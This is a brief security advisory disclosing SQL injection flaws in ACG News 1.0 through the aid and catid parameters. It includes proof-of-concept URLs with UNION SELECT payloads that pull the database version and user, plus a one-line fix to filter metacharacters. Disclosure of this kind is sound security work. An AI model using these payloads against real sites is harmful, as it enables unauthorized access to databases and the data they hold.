ACG News SQL Injection

Software: ACG News 1.0
Vendor link: http://www.altercoder.com
Vendor Demo link: http://acgnews.uw.hu/index.php
Attack: SQL Injection

Discovered by: David Sopas Ferreira a.k.a SmOk3 < smok3f00 at gmail.com >

SQL Injection
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An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. Vulnerable variables are $aid and $catid on index.php file.

Proof of Concept:
index.php?menu=showarticle&aid=[SQL INJECTION]
index.php?menu=showarticle&aid=-3 UNION ALL SELECT 1,@@version,3,4,5,user(),7

index.php?menu=showcat&catid=[SQL INJECTION]
index.php?menu=showcat&catid=-3 UNION ALL SELECT 1,@@version


Solution:

Your script should filter metacharacters from user input.


Vendor (Liam Dawe) is already fixing all the problems that I found out, a few more were added by myself...

Proof Of Concept

SQL Injection:
printable.php?aid=-3%20UNION%20ALL%20SELECT%201,@@version
,3,4,5,user(),7